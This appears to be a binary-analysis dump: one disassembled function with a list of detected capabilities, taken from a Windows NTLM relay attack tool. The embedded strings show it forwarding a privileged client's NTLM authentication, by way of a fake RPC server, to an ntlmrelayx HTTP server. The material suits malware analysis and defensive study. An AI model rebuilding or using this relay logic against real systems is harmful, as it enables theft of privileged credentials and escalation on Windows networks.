Function at 0x4010d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0xc138
call fcn.00417ee0
mov eax, dword [0x423004]
xor eax, esp
mov dword [esp + 0xc134], eax
mov eax, dword [ebp + 8]
push esi
mov dword [esp + 0x18], ecx
xor esi, esi
mov ecx, dword [ebp + 0x10]
mov dword [esp + 0x28], eax
mov eax, dword [ebp + 0xc]
push edi
mov edi, edx
mov dword [esp + 0x20], eax
mov dword [esp + 0x30], esi
call fcn.004020a0
mov dword [esp + 0x24], eax
lea eax, [esp + 0x4138]
push eax
push 0x202
mov dword [esp + 0x30], esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40114c
push eax
push str.WSAStartup_function_failed_with_error:__d_n
call fcn.00401010
add esp, 8
mov dword [esp + 0x14], 1
jmp 0x401263
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
jne 0x401189
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.socket_function_failed_with_error:__ld_n
call fcn.00401010
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
add esp, 8
call eax
mov dword [esp + 0x14], 1
jmp 0x401263
push 0xc
lea eax, [esp + 0x48]
mov dword [esp + 0x50], esi
xorps xmm0, xmm0
push edi
push eax
movq qword [esp + 0x50], xmm0
call fcn.0040abbc
push 0x14
push dword [esp + 0x2c]
lea eax, [esp + 0x64]
mov dword [esp + 0x74], esi
xorps xmm0, xmm0
push eax
movaps xmmword [esp + 0x68], xmm0
call fcn.0040abbc
lea eax, [esp + 0x5c]
push eax
call fcn.0040b520
mov esi, eax
add esp, 0x1c
mov eax, 2
mov word [esp + 0x34], ax
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov dword [esp + 0x3c], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x36], ax
lea eax, [esp + 0x34]
push 0x10
push eax
push dword [esp + 0x1c]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40124f
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call esi
push eax
push str.CreateHTTPSocket:_connect_function_failed_with_error:__ld_n
call fcn.00401010
add esp, 8
push dword [esp + 0x14]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp eax, 0xffffffff
jne 0x40123e
call esi
push eax
push str.closesocket_function_failed_with_error:__ld_n
call fcn.00401010
add esp, 8
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov dword [esp + 0x14], 1
jmp 0x401261
push edi
push dword [esp + 0x20]
push str.___Connected_to_ntlmrelayx_HTTP_Server__S_on_port__S_n
call fcn.00401050
add esp, 0xc
xor esi, esi
mov dword [esp + 0x44], 0x4d4c544e
mov word [esp + 0x48], 0x5353
mov byte [esp + 0x4a], 0x50
nop word [eax + eax]
push 0
push 0x2000
lea eax, [esp + 0x140]
push eax
push dword [esp + 0x30]
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test esi, esi
jne 0x4012b5
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x2c]
call fcn.004022c0
mov dword [esp + 0x28], eax
mov esi, 1
xor ecx, ecx
xor edx, edx
test edi, edi
jle 0x4016ba
mov al, byte [esp + edx + 0x138]
cmp al, byte [esp + ecx + 0x44]
jne 0x4012e8
inc ecx
cmp ecx, 7
jne 0x4012ea
lea eax, [edx - 6]
mov dword [esp + 0x18], eax
test eax, eax
jg 0x4012f1
test edi, edi
jg 0x401280
jmp 0x4016ba
xor ecx, ecx
inc edx
cmp edx, edi
jl 0x4012c1
jmp 0x401280
push edi
lea eax, [esp + 0x13c]
push eax
lea eax, [esp + 0xa140]
push eax
call fcn.004064f0
mov eax, dword [esp + 0x24]
lea ecx, [esp + 0x144]
mov esi, edi
sub esi, eax
add eax, ecx
push esi
push eax
lea eax, [esp + 0x814c]
push eax
call fcn.004064f0
push dword [esp + 0x34]
lea eax, [esp + 0x34]
mov edx, esi
push eax
lea ecx, [esp + 0x8158]
call fcn.004016f0
mov esi, dword [sym.imp.WS2_32.dll_send]
add esp, 0x20
push 0
push dword [esp + 0x1c]
push eax
push dword [esp + 0x20]
call esi
cmp eax, 0xffffffff
jne 0x401363
push str.____Couldnt_forge_the_http_packet_with_the_type_1_auth_and_send_it_to_the_http_server._n
jmp 0x4016b2
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x2000
lea eax, [esp + 0x140]
push eax
push dword [esp + 0x20]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x401396
push str.____Couldnt_receive_the_http_response_from_the_http_server_n
jmp 0x4016b2
lea ecx, [esp + 0x30]
mov edx, eax
push ecx
lea ecx, [esp + 0x413c]
push ecx
lea ecx, [esp + 0x140]
call fcn.004017f0
add esp, 8
lea eax, [esp + 0xa138]
push 0
push edi
mov edi, dword [esp + 0x30]
push eax
push edi
call esi
cmp eax, 0xffffffff
jne 0x4013d5
push str.____Couldnt_communicate_with_the_fake_RPC_Server_n
jmp 0x4016b2
push 0
push 0x2000
lea eax, [esp + 0x140]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4013fc
push str.____Couldnt_receive_the_type2_message_from_the_fake_RPC_Server_n
jmp 0x4016b2
xor ecx, ecx
mov dword [esp + 0x44], 0x4d4c544e
xor edx, edx
mov word [esp + 0x48], 0x5353
mov byte [esp + 0x4a], 0x50
test edi, edi
jle 0x40143f
nop dword [eax + eax]
mov al, byte [esp + edx + 0x138]
cmp al, byte [esp + ecx + 0x44]
jne 0x401438
inc ecx
cmp ecx, 7
jne 0x40143a
add edx, 0xfffffffa
jmp 0x401442
xor ecx, ecx
inc edx
cmp edx, edi
jl 0x401420
or edx, 0xffffffff
mov esi, dword [esp + 0x30]
movzx ecx, si
mov eax, ecx
mov dword [esp + 0x20], edx
sub eax, edi
mov word [esp + 0x142], cx
add eax, edx
add word [esp + 0x140], ax
lea eax, [esp + 0x138]
push edx
push eax
lea eax, [esp + 0x6140]
push eax
call fcn.004064f0
mov edi, dword [esp + 0x2c]
lea eax, [esp + 0x4144]
push esi
push eax
lea eax, [esp + 0x614c]
add eax, edi
push eax
call fcn.004064f0
add esp, 0x18
lea eax, [esi + edi]
mov esi, dword [esp + 0x24]
mov edi, dword [sym.imp.WS2_32.dll_send]
push 0
push eax
lea eax, [esp + 0x6140]
push eax
push esi
call edi
cmp eax, 0xffffffff
jne 0x4014c2
push str.____Couldnt_send_the_altered_type2_to_the_rpc_client__the_privileged_auth__n
jmp 0x4016b2
push 0
push 0x2000
lea eax, [esp + 0x140]
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4014e9
push str.____Couldnt_receive_the_type3_auth_from_the_rpc_client_n
jmp 0x4016b2
xor ecx, ecx
mov dword [esp + 0x44], 0x4d4c544e
xor edx, edx
mov word [esp + 0x48], 0x5353
mov byte [esp + 0x4a], 0x50
test esi, esi
jle 0x40152f
nop word [eax + eax]
mov al, byte [esp + edx + 0x138]
cmp al, byte [esp + ecx + 0x44]
jne 0x401528
inc ecx
cmp ecx, 7
jne 0x40152a
add edx, 0xfffffffa
jmp 0x401532
xor ecx, ecx
inc edx
cmp edx, esi
jl 0x401510
or edx, 0xffffffff
movsx esi, word [esp + 0x142]
lea eax, [esp + 0x138]
add eax, edx
push esi
push eax
lea eax, [esp + 0x2140]
push eax
call fcn.004064f0
push dword [esp + 0x28]
lea eax, [esp + 0x28]
mov edx, esi
push eax
lea ecx, [esp + 0x214c]
call fcn.004016f0
mov esi, dword [esp + 0x28]
add esp, 0x14
push 0
push dword [esp + 0x1c]
push eax
push esi
call edi
cmp eax, 0xffffffff
jne 0x401589
push str.____Couldnt_send_the_type3_AUTH_to_the_http_server_n
jmp 0x4016b2
movsx eax, word [esp + 0x2154]
lea ecx, [esp + 0x2138]
push eax
mov eax, dword [esp + 0x215c]
xorps xmm0, xmm0
add eax, ecx
movaps xmmword [esp + 0xf4], xmm0
push eax
lea eax, [esp + 0xf8]
movaps xmmword [esp + 0x108], xmm0
push eax
call fcn.004064f0
movsx eax, word [esp + 0x2168]
lea ecx, [esp + 0x2144]
push eax
mov eax, dword [esp + 0x2170]
xorps xmm0, xmm0
add eax, ecx
movaps xmmword [esp + 0xc0], xmm0
push eax
lea eax, [esp + 0xc4]
movaps xmmword [esp + 0xd4], xmm0
push eax
call fcn.004064f0
movsx eax, word [esp + 0x217c]
lea ecx, [esp + 0x2150]
push eax
mov eax, dword [esp + 0x2184]
xorps xmm0, xmm0
add eax, ecx
movaps xmmword [esp + 0x8c], xmm0
push eax
lea eax, [esp + 0x90]
movaps xmmword [esp + 0xa0], xmm0
push eax
call fcn.004064f0
lea eax, [esp + 0x94]
push eax
lea eax, [esp + 0xd8]
push eax
lea eax, [esp + 0x11c]
push eax
push str.___Got_NTLM_type_3_AUTH_message_from__S_S_with_hostname__S__n
call fcn.00401050
add esp, 0x34
mov dword [0x4245a8], 1
lea eax, [esp + 0x138]
push 0
push 0x2000
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x401688
push str.____Couldnt_receive_the_output_from_the_http_server_n
jmp 0x4016b2
cmp byte [esp + 0x141], 0x34
jne 0x4016ad
cmp byte [esp + 0x142], 0x30
jne 0x4016ad
cmp byte [esp + 0x143], 0x34
jne 0x4016ad
push str.___Relaying_seems_successfull__check_ntlmrelayx_output__n
jmp 0x4016b2
push str.____Relaying_failed_:__n
call fcn.00401050
add esp, 4
push dword [esp + 0x24]
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
call esi
push dword [esp + 0x28]
call esi
push dword [esp + 0x14]
call esi
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0xc13c]
pop edi
pop esi
xor ecx, esp
call fcn.00403ad0
mov esp, ebp
pop ebp
ret